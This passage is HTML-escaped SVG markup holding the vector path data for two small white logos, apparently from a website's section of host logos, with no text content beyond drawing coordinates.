                            &lt;path d=&quot;M124.449867,9.66004 C124.273067,9.66004 124.114467,9.66524 123.9732,9.67546667 C123.8328,9.68621333 123.7002,9.69661333 123.574533,9.70666667 L123.574533,12.63678 L124.262667,12.63678 C125.1796,12.63678 125.835667,12.5229867 126.231733,12.2941 C126.6278,12.0659933 126.8254,11.67608 126.8254,11.1250533 C126.8254,10.595 126.6252,10.2188667 126.223933,9.99483333 C125.822667,9.77184 125.2316,9.66004 124.449867,9.66004 Z M124.310333,7.58692133 C125.9362,7.58692133 127.1816,7.87504467 128.046533,8.45195 C128.911467,9.02867333 129.343933,9.92480667 129.343933,11.14074 C129.343933,11.8989867 129.169733,12.5151 128.820467,12.9878667 C128.4712,13.4603733 127.968533,13.8321733 127.3116,14.1020533 C127.530867,14.3724533 127.759667,14.6815067 127.999733,15.02956 C128.238933,15.3778733 128.4764,15.7416133 128.711267,16.1208667 C128.945267,16.50012 129.172333,16.8948 129.390733,17.3049933 C129.609133,17.7157933 129.8128,18.11836 130,18.51304 L127.274333,18.51304 C127.075,18.1597867 126.873933,17.80142 126.670267,17.43768 C126.465733,17.0742 126.256867,16.7206867 126.0428,16.3775733 C125.828733,16.0345467 125.615533,15.71024 125.407533,15.4037867 C125.1978,15.0969 124.988067,14.8190467 124.7792,14.5692733 L123.5754,14.5692733 L123.5754,18.51304 L121.137467,18.51304 L121.137467,7.86720133 C121.668733,7.76389467 122.2182,7.69066133 122.785867,7.64946867 C123.3544,7.607626 123.862267,7.58692133 124.310333,7.58692133 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M0.000216290533,12.1732 L0.000216290533,0.000431421467 L6.14393867,3.27639867 L6.14393867,8.76078667 L14.2770333,8.76477333 L20.5204133,12.1732 L0.000216290533,12.1732 Z M15.9401667,7.75716933 L15.9401667,0 L22.2495,3.19444667 L22.2495,11.4224067 L15.9401667,7.75716933 Z M15.94008,22.63534 L15.94008,17.19822 L7.744334,17.1925 C7.75198667,17.2287267 1.39732667,13.72956 1.39732667,13.72956 L22.2495,13.8274067 L22.2495,26 L15.94008,22.63534 Z M0,22.63534 L0.000218583733,14.6807267 L6.14393867,18.2591933 L6.14393867,25.8295267 L0,22.63534 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                        &lt;/g&gt;
                    &lt;/g&gt;
                &lt;/g&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;92&quot; height=&quot;20&quot; viewBox=&quot;0 0 92 20&quot; fill=&quot;none&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;path d=&quot;M23.7526 19.966H20.915L19.0232 17.7106L15.7723 13.8339C15.5658 13.5848 15.4766 13.2596 15.5273 12.9396C15.5779 12.6176 15.7653 12.334 16.0418 12.1609C18.3974 10.6853 19.4476 9.13383 19.4476 7.1296C19.4476 4.44084 17.2601 2.25436 14.5713 2.25436C12.6481 2.25436 10.8981 3.38962 10.1152 5.14772C9.86209 5.71585 9.19569 5.97107 8.62756 5.71787C8.05842 5.46471 7.80319 4.79832 8.0574 4.23018C9.20175 1.65988 11.7589 0 14.5713 0C18.5027 0 21.7009 3.19819 21.7009 7.1296C21.7009 8.28413 21.4467 9.36271 20.9413 10.3491C20.7955 10.6347 20.6294 10.9122 20.4421 11.1815C19.9337 11.9137 19.3361 12.5558 18.3346 13.2506C18.3164 13.2627 18.3133 13.287 18.3275 13.3032L23.8184 19.8242C23.867 19.8799 23.8266 19.966 23.7526 19.966Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M20.9145 19.9643H6.8588C3.31828 19.9643 0.448242 17.0952 0.448242 13.5547V13.4494C0.448242 9.91099 3.29603 7.00244 6.83448 6.99028C9.99724 6.97912 12.7022 9.16662 13.2613 12.1835C13.3747 12.7952 12.9716 13.3826 12.3589 13.497C11.7463 13.6104 11.1588 13.2054 11.0454 12.5937C10.6849 10.6482 8.91664 9.23752 6.84361 9.24358C4.54776 9.24969 2.70155 11.1424 2.70155 13.4393V13.5547C2.70155 15.8506 4.56195 17.711 6.8578 17.711H19.0217C19.0227 17.71 19.0227 17.71 19.0227 17.709L20.9145 19.9643Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M28.9388 19.8665C28.5576 19.9395 28.1668 19.9769 27.7668 19.9769H26.6145L26.0847 19.9607C26.0837 19.9607 26.0837 19.9597 26.0828 19.9597L20.7233 13.6018C20.7223 13.6008 20.7233 13.5998 20.7233 13.5998C21.1234 13.3182 21.7381 12.7673 22.3062 11.9733C23.0506 10.9333 23.7152 9.47394 23.7152 7.64801C23.7152 5.39062 23.0253 2.49424 19.9699 0.604465C19.8939 0.557881 19.9273 0.440388 20.0165 0.443417C21.3431 0.475866 25.8689 2.28459 25.8689 7.71685C25.8689 10.9707 24.2488 13.0174 23.6926 13.6241C23.6926 13.6241 23.6926 13.6251 23.6926 13.6261L26.839 17.3681L27.139 17.7246L28.9388 19.8665Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M34.006 13.8686C33.9719 16.8642 31.7874 19.3302 28.9405 19.867L27.1396 17.724H27.7862C29.9471 17.724 31.7326 15.9963 31.7528 13.8362C31.773 11.8148 30.2664 10.1164 28.2641 9.89462C27.6463 9.82573 27.2007 9.26976 27.2675 8.65101C27.3363 8.03221 27.8934 7.58661 28.5121 7.65545C30.0149 7.82054 31.4023 8.53352 32.4181 9.66272C33.4594 10.8152 34.0243 12.312 34.006 13.8686Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M69.6044 8.10145C69.5818 8.08097 69.5592 8.06154 69.5371 8.04102C69.5818 8.08096 69.627 8.12192 69.6712 8.16293C69.6486 8.14245 69.627 8.12192 69.6044 8.10145ZM71.1428 11.2702C71.1428 11.2702 71.1418 11.2692 71.1418 11.2681C71.1428 11.2856 71.1447 11.303 71.1457 11.3194C71.1447 11.303 71.1437 11.2856 71.1428 11.2702Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M61.9451 9.74219C61.7177 10.3475 61.5893 11.0459 61.5629 11.8315C61.5586 11.7659 61.5576 11.6973 61.5576 11.6308C61.5576 10.9599 61.697 10.3219 61.9451 9.74219Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M65.8315 16.4016C65.6502 16.3822 65.4719 16.3524 65.2988 16.3125C65.4926 16.3484 65.6709 16.3791 65.8315 16.4016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M51.7991 8.16484C51.8429 8.12388 51.8881 8.08292 51.9332 8.04297C51.9106 8.06345 51.888 8.08292 51.8655 8.1034C51.8429 8.12282 51.8217 8.14335 51.7991 8.16484ZM50.3242 11.3203C50.3252 11.3029 50.3271 11.2855 50.3285 11.2691C50.3285 11.2701 50.3271 11.2711 50.3271 11.2711C50.3261 11.2875 50.3252 11.3049 50.3242 11.3203Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M59.5264 9.74219C59.7538 10.3475 59.8816 11.0459 59.9081 11.8315C59.9124 11.7659 59.9134 11.6973 59.9134 11.6308C59.9124 10.9609 59.7739 10.3219 59.5264 9.74219Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M55.6377 16.4016C55.8189 16.3821 55.9973 16.3524 56.1704 16.3125C55.9766 16.3493 55.7983 16.3801 55.6377 16.4016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M83.9524 15.1847C83.975 15.2052 83.9976 15.2246 84.0202 15.2451C83.975 15.2052 83.9298 15.1642 83.886 15.1233C83.9086 15.1427 83.9298 15.1632 83.9524 15.1847ZM82.415 12.016C82.415 12.016 82.4164 12.017 82.4164 12.018C82.415 12.0006 82.4131 11.9832 82.4121 11.9668C82.4131 11.9822 82.414 11.9996 82.415 12.016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M48.9113 13.7555V15.4168C48.9113 15.7495 48.7753 16.0515 48.5541 16.2709C48.3344 16.4904 48.0297 16.6251 47.6936 16.6251C47.0211 16.6251 46.4764 16.0842 46.4764 15.4168V14.1841C46.4764 13.3626 46.2557 12.7523 45.8212 12.3717C45.4659 12.0604 45.126 11.8819 44.5121 11.8298C44.4713 11.8257 44.4294 11.8237 44.3852 11.8216C44.1559 11.79 43.9386 11.6778 43.7862 11.5267C43.6079 11.3492 43.4963 11.1032 43.4963 10.8318C43.4963 10.3287 43.878 9.91337 44.3689 9.85621C44.3996 9.85419 44.465 9.84904 44.465 9.84904C45.064 9.80111 45.3794 9.62863 45.7077 9.34394C46.1091 8.998 46.312 8.52139 46.312 7.92754C46.312 7.14279 45.9582 6.5611 45.2875 6.24473C44.9424 6.08248 44.3141 6.00696 43.3069 6.00696H42.1507V15.4168C42.1507 15.7495 42.0147 16.0515 41.7945 16.2709C41.5739 16.4904 41.2686 16.6251 40.933 16.6251C40.2615 16.6251 39.7158 16.0842 39.7158 15.4168V4.08642C39.7158 3.89153 39.8749 3.73438 40.0706 3.73438H44.2314C45.8591 3.73438 47.0773 4.16194 47.8527 5.00587C48.4681 5.66611 48.7671 6.47538 48.7671 7.47854C48.7671 8.72451 48.2599 9.66843 47.2182 10.3665L46.6437 10.7512L47.2946 10.9879C47.8826 11.2022 48.3018 11.5145 48.5388 11.9155C48.7859 12.335 48.9113 12.9544 48.9113 13.7555Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M71.1345 11.6985C71.1336 11.6567 71.1326 11.6169 71.1292 11.5761C71.1283 11.5547 71.1264 11.5322 71.1254 11.5108C71.1244 11.4935 71.122 11.4761 71.1211 11.4598C71.1211 11.4547 71.1201 11.4496 71.1201 11.4445C71.1163 11.3965 71.1129 11.3496 71.1071 11.3006C71.1038 11.2771 71.1009 11.2516 71.099 11.2281C71.0917 11.1628 71.0817 11.0975 71.0701 11.0332C71.0591 10.9618 71.0456 10.8913 71.0302 10.821C71.0235 10.7873 71.0163 10.7546 71.0081 10.722C70.999 10.6781 70.9874 10.6352 70.9754 10.5924C70.9682 10.5648 70.96 10.5362 70.9528 10.5097C70.9437 10.474 70.9326 10.4403 70.922 10.4056C70.912 10.372 70.9009 10.3393 70.8898 10.3056C70.8336 10.1372 70.7682 9.97294 70.6927 9.81271C70.6639 9.74945 70.6336 9.6882 70.6019 9.62701C70.5826 9.59129 70.5639 9.55451 70.5437 9.51985C70.5264 9.48716 70.5091 9.45553 70.4894 9.4239C70.4702 9.39125 70.4528 9.36063 70.4327 9.329C70.4129 9.29737 70.3937 9.26573 70.373 9.23511C70.3529 9.20449 70.3336 9.17387 70.312 9.14329C70.2928 9.11469 70.2731 9.08613 70.2529 9.05757C70.2485 9.05142 70.2457 9.04733 70.2428 9.04325C70.2231 9.01671 70.2038 8.99023 70.1836 8.96369C70.162 8.93408 70.1394 8.90446 70.1173 8.87591C70.0721 8.81774 70.0255 8.76058 69.9774 8.70548C69.9303 8.64938 69.8793 8.59631 69.8322 8.54733C69.7774 8.48916 69.7221 8.43199 69.6649 8.37488C69.662 8.37181 69.6577 8.36772 69.6558 8.3657C69.612 8.32489 69.5669 8.28407 69.5221 8.24427L69.5183 8.24018C69.4731 8.20139 69.4284 8.16259 69.3832 8.12586C69.376 8.11875 69.3678 8.11158 69.3601 8.10548C69.3212 8.07279 69.2813 8.04217 69.2404 8.0126C69.226 8.00034 69.2111 7.98914 69.1957 7.97789C69.1568 7.94833 69.1178 7.92078 69.0784 7.89424C69.014 7.84728 68.9467 7.80339 68.8794 7.76257C68.8414 7.7381 68.8025 7.71459 68.764 7.69219C68.7631 7.69113 68.7607 7.69113 68.7597 7.69012C68.7424 7.67993 68.7241 7.66868 68.7078 7.6595C68.6688 7.63705 68.6304 7.61566 68.5905 7.59624C68.5722 7.58605 68.5539 7.5748 68.5342 7.56667C68.4862 7.54114 68.4395 7.51768 68.3905 7.49418C68.1689 7.38909 67.9372 7.3013 67.6978 7.23193C67.6689 7.22376 67.6396 7.21458 67.6107 7.20747C67.5579 7.19213 67.5045 7.17886 67.4507 7.1666C67.418 7.15949 67.3853 7.15132 67.3526 7.14516C67.3189 7.13805 67.2872 7.13088 67.2536 7.12478C67.2036 7.1156 67.1579 7.10742 67.1055 7.09824C67.0127 7.08194 66.919 7.0707 66.8252 7.06353C66.818 7.06252 66.8089 7.06151 66.8017 7.06151C66.7627 7.05642 66.7238 7.05435 66.6844 7.05233C66.6435 7.04926 66.6026 7.04724 66.5618 7.04517C66.5262 7.04315 66.4892 7.04214 66.4536 7.04108C66.419 7.03906 66.3863 7.03906 66.3517 7.03906H66.3382C64.3749 7.04517 62.6871 8.23917 61.9554 9.93924C61.7289 10.5424 61.6011 11.2383 61.5746 12.021C61.5737 12.0231 61.5737 12.0241 61.5746 12.0251C61.5717 12.1272 61.5693 12.2302 61.5693 12.3353V18.8542C61.5693 19.4471 62.0501 19.9277 62.6433 19.9277C62.939 19.9277 63.2072 19.8083 63.4024 19.6134C63.5961 19.4195 63.7168 19.1511 63.7168 18.8542V15.8101C64.1797 16.1172 64.6994 16.3469 65.2575 16.4775C65.272 16.4816 65.2849 16.4846 65.2984 16.4867C65.4912 16.5224 65.6691 16.553 65.8291 16.5755C66.0003 16.5948 66.1738 16.604 66.3517 16.604C68.9823 16.604 71.122 14.4692 71.1345 11.8424V11.8016C71.1365 11.767 71.1355 11.7322 71.1345 11.6985ZM66.3536 14.409C64.9249 14.409 63.7668 13.2497 63.7668 11.821C63.7668 11.7986 63.7668 11.7751 63.7687 11.7537C63.7725 11.5486 63.8024 11.3496 63.8524 11.1587C64.1442 10.0505 65.1547 9.2341 66.3536 9.2341C67.7833 9.2341 68.9414 10.3923 68.9414 11.821C68.9414 13.2497 67.7833 14.409 66.3536 14.409Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M50.3691 11.8016V11.8424C50.3802 14.4702 52.5204 16.604 55.152 16.604C55.3284 16.604 55.5029 16.5948 55.6745 16.5755C55.8356 16.554 56.0125 16.5234 56.2053 16.4867C56.2183 16.4836 56.2317 16.4805 56.2461 16.4775C56.8033 16.3469 57.3235 16.1183 57.7869 15.8101V16.0877C57.7869 16.3846 57.9061 16.653 58.1013 16.8469C58.296 17.0408 58.5647 17.1612 58.8604 17.1612C59.4531 17.1612 59.9339 16.6806 59.9339 16.0877V12.3353C59.9339 12.2302 59.9319 12.1272 59.9291 12.0251C59.93 12.0241 59.93 12.0231 59.9291 12.021C59.9021 11.2383 59.7747 10.5424 59.5483 9.93924C58.8166 8.23912 57.1288 7.04416 55.1654 7.03906H55.152C55.1174 7.03906 55.0847 7.03906 55.0501 7.04108C55.0145 7.04214 54.9775 7.04315 54.9419 7.04517C54.901 7.04724 54.8602 7.04926 54.8193 7.05233C54.7804 7.05435 54.7419 7.05743 54.702 7.06151C54.6948 7.06151 54.6857 7.06252 54.6785 7.06353C54.5847 7.0707 54.491 7.08295 54.3977 7.09824C54.3467 7.10742 54.3001 7.1156 54.2501 7.12478C54.2165 7.13088 54.1847 7.13704 54.1511 7.14516C54.1184 7.15233 54.0857 7.15949 54.053 7.1666C53.9997 7.17886 53.9468 7.19213 53.8929 7.20742C53.8641 7.21458 53.8348 7.22376 53.8059 7.23193C53.566 7.3013 53.3343 7.3901 53.1132 7.49418C53.0641 7.51663 53.017 7.54114 52.9694 7.56667C52.9497 7.5748 52.9315 7.58605 52.9132 7.59624C52.8743 7.61667 52.8353 7.63705 52.7959 7.6595C52.7786 7.66868 52.7598 7.67993 52.7435 7.69012C52.7425 7.69113 52.7406 7.69113 52.7396 7.69219C52.7007 7.71459 52.6623 7.7381 52.6243 7.76257C52.557 7.80339 52.4906 7.84728 52.4253 7.89424C52.3863 7.92073 52.3479 7.94833 52.3079 7.97789C52.2926 7.98808 52.2772 7.99933 52.2632 8.0126C52.2224 8.04217 52.1825 8.07385 52.1435 8.10548C52.1354 8.11158 52.1272 8.11769 52.12 8.12586C52.0743 8.16259 52.0291 8.20139 51.9854 8.24018L51.9815 8.24427C51.9363 8.28403 51.8916 8.32489 51.8479 8.3657C51.8445 8.36873 51.8407 8.37282 51.8388 8.37488C51.7815 8.43199 51.7263 8.48916 51.671 8.54733C51.6243 8.59631 51.5734 8.64933 51.5263 8.70548C51.4772 8.76058 51.4316 8.81774 51.3864 8.87591C51.3638 8.90446 51.3417 8.93408 51.32 8.96369C51.2999 8.99018 51.2801 9.01671 51.2609 9.04325C51.2571 9.04734 51.2537 9.05142 51.2508 9.05753C51.2301 9.08613 51.2109 9.11469 51.1917 9.14329C51.171 9.17387 51.1508 9.20449 51.1301 9.23511C51.11 9.26674 51.0907 9.29838 51.071 9.329C51.0508 9.36063 51.0335 9.39226 51.0138 9.4239C50.9946 9.45553 50.9773 9.48716 50.96 9.51985C50.9393 9.55451 50.921 9.59124 50.9018 9.62696C50.8701 9.68821 50.8393 9.74945 50.8109 9.81271C50.7355 9.97294 50.6701 10.1372 50.6138 10.3056C50.6028 10.3393 50.5927 10.372 50.5811 10.4056C50.5711 10.4403 50.56 10.474 50.5509 10.5097C50.5437 10.5362 50.5355 10.5648 50.5283 10.5924C50.5172 10.6352 50.5057 10.6781 50.4956 10.722C50.4874 10.7546 50.4802 10.7873 50.473 10.821C50.4576 10.8913 50.4446 10.9618 50.4331 11.0332C50.422 11.0975 50.4129 11.1628 50.4047 11.2281C50.4018 11.2516 50.3985 11.2771 50.3965 11.3006C50.3903 11.3495 50.3874 11.3965 50.3831 11.4445C50.3831 11.4496 50.3821 11.4547 50.3821 11.4598C50.3812 11.4771 50.3792 11.4945 50.3783 11.5108C50.3773 11.5322 50.3749 11.5547 50.374 11.5761C50.3711 11.6169 50.3701 11.6567 50.3691 11.6985C50.3701 11.7333 50.3691 11.767 50.3691 11.8016ZM52.5632 11.821C52.5632 10.3913 53.7223 9.2341 55.151 9.2341C56.3509 9.2341 57.3605 10.0505 57.6523 11.1587C57.7023 11.3485 57.7316 11.5475 57.7359 11.7537C57.7379 11.7751 57.7379 11.7986 57.7379 11.821C57.7379 13.2507 56.5788 14.409 55.151 14.409C53.7223 14.41 52.5632 13.2507 52.5632 11.821Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M80.4966 7.03717C81.3519 7.03717 81.9182 7.92399 81.5591 8.69956L78.3141 15.7113C77.7887 16.8165 77.3478 17.6523 76.9892 18.2186C76.6325 18.785 76.2272 19.2065 75.7763 19.482C75.3249 19.7585 74.7619 19.8963 74.0884 19.8963C73.575 19.8963 73.1034 19.8218 72.6727 19.6738C72.4982 19.6136 71.99 19.3412 71.7708 19.1993C71.3627 18.935 71.2381 18.3931 71.4881 17.9757C71.7371 17.5594 72.2698 17.4135 72.6962 17.6441C72.7871 17.6931 73.1505 17.8798 73.188 17.8941C73.4106 17.9757 73.6769 18.0155 73.987 18.0155C74.3913 18.0155 74.7086 17.8839 74.9374 17.6206C75.1658 17.3583 75.4028 16.9165 75.6455 16.296L72.1318 8.721C71.7718 7.94437 72.339 7.05761 73.1943 7.05761C73.6625 7.05761 74.086 7.3372 74.2706 7.76785L76.8382 13.7683L79.3938 7.74847C79.5775 7.31576 80.002 7.03516 80.4712 7.03516H80.4966V7.03717Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M82.3445 11.9635C82.3454 12.0053 82.3464 12.0451 82.3498 12.086C82.3507 12.1074 82.3526 12.1298 82.3536 12.1513C82.3546 12.1686 82.357 12.1859 82.3579 12.2023C82.3579 12.2074 82.3589 12.2125 82.3589 12.2176C82.3627 12.2656 82.3661 12.3125 82.3719 12.3615C82.3752 12.385 82.3781 12.4105 82.38 12.434C82.3873 12.4992 82.3974 12.5646 82.4089 12.6288C82.4199 12.7003 82.4334 12.7707 82.4488 12.8411C82.4555 12.8748 82.4627 12.9074 82.4709 12.9401C82.48 12.984 82.4916 13.0269 82.5036 13.0697C82.5108 13.0973 82.519 13.1258 82.5262 13.1524C82.5353 13.1881 82.5464 13.2217 82.557 13.2564C82.5671 13.2901 82.5781 13.3228 82.5897 13.3564C82.6454 13.5248 82.7108 13.6892 82.7863 13.8493C82.8151 13.9126 82.8454 13.9739 82.8771 14.0351C82.8968 14.0708 82.9151 14.1075 82.9353 14.1423C82.9526 14.1749 82.9699 14.2065 82.9896 14.2382C83.0089 14.2708 83.0262 14.3014 83.0468 14.3331C83.0661 14.3647 83.0853 14.3963 83.106 14.4269C83.1261 14.4576 83.1454 14.4882 83.167 14.5188C83.1862 14.5474 83.2059 14.5759 83.2261 14.6045C83.2305 14.6106 83.2334 14.6147 83.2362 14.6188C83.256 14.6453 83.2752 14.6719 83.2958 14.6984C83.317 14.728 83.3396 14.7576 83.3617 14.7861C83.4069 14.8443 83.454 14.9015 83.5016 14.9566C83.5487 15.0127 83.5997 15.0657 83.6468 15.1147C83.7016 15.1729 83.7569 15.2301 83.8141 15.2872C83.817 15.2903 83.8213 15.2943 83.8232 15.2964C83.867 15.3372 83.9122 15.378 83.9569 15.4178L83.9612 15.4219C84.0059 15.4607 84.0506 15.4995 84.0958 15.5362C84.103 15.5434 84.1112 15.5505 84.1193 15.5566C84.1578 15.5893 84.1977 15.6199 84.2386 15.6495C84.253 15.6617 84.2679 15.673 84.2833 15.6842C84.3222 15.7138 84.3612 15.7413 84.4006 15.7679C84.465 15.8148 84.5323 15.8587 84.5996 15.8995C84.6376 15.924 84.6765 15.9475 84.715 15.9699C84.7159 15.9709 84.7183 15.9709 84.7193 15.9719C84.7366 15.9822 84.7549 15.9934 84.7712 16.0026C84.8102 16.025 84.8486 16.0464 84.8885 16.0658C84.9068 16.0761 84.9255 16.0873 84.9448 16.0954C84.9928 16.121 85.0395 16.1444 85.0885 16.1679C85.3101 16.273 85.5418 16.3608 85.7817 16.4302C85.8101 16.4383 85.8399 16.4475 85.8683 16.4546C85.9211 16.47 85.9745 16.4832 86.0284 16.4955C86.061 16.5026 86.0937 16.5108 86.1264 16.5169C86.1601 16.5241 86.1918 16.5312 86.2254 16.5373C86.2754 16.5465 86.3211 16.5546 86.3735 16.5638C86.4663 16.5802 86.56 16.5914 86.6538 16.5985C86.661 16.5995 86.6701 16.6006 86.6773 16.6006C86.7163 16.6057 86.7552 16.6077 86.7946 16.6098C86.8355 16.6128 86.8764 16.6149 86.9172 16.6169C86.9528 16.619 86.9898 16.62 87.0254 16.621C87.06 16.623 87.0927 16.623 87.1273 16.623H87.1408C89.1041 16.6169 90.792 15.4229 91.5236 13.7228C91.7501 13.1197 91.8779 12.4237 91.9044 11.641C91.9053 11.639 91.9053 11.638 91.9044 11.6369C91.9073 11.5349 91.9097 11.4318 91.9097 11.3267V4.80791C91.9097 4.21501 91.4289 3.73438 90.8362 3.73438C90.5401 3.73438 90.2718 3.85374 90.0766 4.04868C89.8829 4.24256 89.7622 4.51096 89.7622 4.80791V7.85202C89.2993 7.54483 88.7796 7.31523 88.2215 7.18462C88.207 7.18053 88.1941 7.17745 88.1806 7.17543C87.9878 7.13971 87.8104 7.10909 87.6499 7.08664C87.4787 7.06727 87.3052 7.05809 87.1273 7.05809C84.4967 7.05809 82.357 9.19289 82.3445 11.8196V11.8604C82.3435 11.8951 82.3435 11.9298 82.3445 11.9635ZM87.1254 9.25312C88.5541 9.25312 89.7122 10.4124 89.7122 11.8411C89.7122 11.8635 89.7122 11.887 89.7103 11.9084C89.7065 12.1135 89.6767 12.3125 89.6267 12.5033C89.3349 13.6116 88.3243 14.428 87.1254 14.428C85.6957 14.428 84.5376 13.2697 84.5376 11.8411C84.5376 10.4124 85.6966 9.25312 87.1254 9.25312Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M91.6133 13.5424C91.8407 12.9371 91.9685 12.2386 91.995 11.4531C91.9993 11.5187 92.0003 11.5873 92.0003 11.6539C92.0003 12.3236 91.8618 12.9627 91.6133 13.5424Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M87.7256 6.88086C87.9068 6.90033 88.0852 6.92999 88.2582 6.96994C88.0645 6.93413 87.8871 6.90341 87.7256 6.88086Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M89.9187 19.3958C89.9249 19.4011 89.9302 19.4064 89.9364 19.4116C89.9249 19.4011 89.9119 19.3894 89.9004 19.3789C89.9066 19.3842 89.9134 19.3894 89.9187 19.3958Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M89.4365 18.7481C89.4365 18.7598 89.4365 18.7703 89.4374 18.7809C89.4374 18.7872 89.4389 18.7925 89.4389 18.7989C89.4389 18.8031 89.4398 18.8084 89.4398 18.8126C89.4398 18.8137 89.4398 18.8158 89.4398 18.8168C89.4408 18.8295 89.4418 18.8422 89.4427 18.8549C89.4442 18.8613 89.4442 18.8676 89.4451 18.8739C89.4471 18.8919 89.4495 18.9088 89.4523 18.9258C89.4557 18.9448 89.4586 18.9638 89.4629 18.9829C89.4653 18.9913 89.4672 19.0009 89.4692 19.0093C89.4716 19.021 89.4745 19.0326 89.4778 19.0442C89.4797 19.0516 89.4821 19.059 89.4841 19.0664C89.4865 19.0759 89.4894 19.0855 89.4927 19.0939C89.4956 19.1024 89.498 19.1119 89.5009 19.1204C89.5158 19.1658 89.5341 19.2092 89.5538 19.2525C89.5615 19.2694 89.5696 19.2864 89.5783 19.3022C89.5836 19.3118 89.5889 19.3213 89.5942 19.3308C89.5985 19.3393 89.6038 19.3477 89.6091 19.3562C89.6143 19.3646 89.6187 19.3731 89.624 19.3816C89.6293 19.39 89.6341 19.3985 89.6393 19.4069C89.6446 19.4154 89.6499 19.4228 89.6552 19.4313C89.6605 19.4387 89.6658 19.4461 89.6711 19.4545C89.6725 19.4556 89.6735 19.4577 89.6744 19.4588C89.6797 19.4662 89.685 19.4736 89.6903 19.4799C89.6966 19.4873 89.7018 19.4957 89.7081 19.5031C89.7201 19.519 89.7326 19.5338 89.7451 19.5486C89.7581 19.5634 89.7715 19.5782 89.7845 19.5909C89.7994 19.6068 89.8139 19.6216 89.8288 19.6375C89.8297 19.6385 89.8312 19.6396 89.8312 19.6396C89.8427 19.6501 89.8542 19.6618 89.8667 19.6724L89.8682 19.6734C89.8797 19.684 89.8922 19.6946 89.9038 19.7041C89.9062 19.7062 89.9081 19.7083 89.9105 19.7094C89.9211 19.7178 89.9316 19.7263 89.9422 19.7348C89.9461 19.7379 89.9494 19.7411 89.9538 19.7443C89.9643 19.7517 89.9749 19.7591 89.9855 19.7665C90.0023 19.7792 90.0201 19.7908 90.0384 19.8014C90.0489 19.8077 90.0585 19.8141 90.0691 19.8204H90.0701C90.0744 19.8236 90.0797 19.8257 90.0835 19.8289C90.0941 19.8352 90.1047 19.8405 90.1153 19.8458C90.1206 19.8489 90.1249 19.851 90.1302 19.8532C90.1432 19.8606 90.1557 19.8669 90.1682 19.8722C90.2278 19.9007 90.2898 19.924 90.3542 19.9431C90.3619 19.9452 90.3701 19.9473 90.3778 19.9494C90.3927 19.9536 90.4061 19.9568 90.421 19.96C90.4297 19.9621 90.4388 19.9642 90.4475 19.9663C90.4561 19.9684 90.4653 19.9706 90.4739 19.9716C90.4878 19.9737 90.4994 19.9758 90.5128 19.979C90.5383 19.9832 90.5628 19.9864 90.5883 19.9885C90.5902 19.9885 90.5922 19.9885 90.5946 19.9885C90.6051 19.9896 90.6157 19.9906 90.6263 19.9906C90.6369 19.9917 90.6484 19.9917 90.659 19.9928C90.6686 19.9928 90.6782 19.9938 90.6874 19.9938C90.697 19.9938 90.7056 19.9938 90.7152 19.9938H90.7181C91.245 19.9928 91.6964 19.6724 91.893 19.2166C91.9531 19.0548 91.9882 18.8687 91.9945 18.6582V18.6572C91.9954 18.6297 91.9954 18.6022 91.9954 18.5736V16.8267C91.9954 16.668 91.8666 16.5391 91.7079 16.5391C91.6286 16.5391 91.557 16.5708 91.5051 16.6237C91.4532 16.6754 91.4205 16.7474 91.4205 16.8267V17.6431C91.2964 17.5606 91.157 17.4992 91.008 17.4643C91.0037 17.4633 91.0008 17.4622 90.9974 17.4622C90.9455 17.4527 90.8979 17.4442 90.8546 17.4389C90.809 17.4337 90.7614 17.4315 90.7152 17.4315C90.0095 17.4315 89.4365 18.0037 89.4336 18.7079V18.7185C89.4365 18.7302 89.4365 18.7397 89.4365 18.7481ZM90.7181 18.0217C91.1008 18.0217 91.4118 18.3325 91.4118 18.7154C91.4118 18.7217 91.4118 18.728 91.4118 18.7333C91.4109 18.7883 91.4036 18.8422 91.3897 18.893C91.3113 19.1901 91.0407 19.4091 90.7191 19.4091C90.3364 19.4091 90.0254 19.0982 90.0254 18.7154C90.0254 18.3325 90.3355 18.0217 90.7181 18.0217Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M91.8984 18.9685C91.9571 18.8118 91.9907 18.6316 91.997 18.4277C91.998 18.4451 91.998 18.4625 91.998 18.48C91.9989 18.6531 91.9633 18.819 91.8984 18.9685Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M90.8945 17.2461C90.9412 17.2512 90.9873 17.2594 91.032 17.2685C90.982 17.2594 90.9364 17.2522 90.8945 17.2461Z&quot; fill=&quot;white&quot;/&gt;
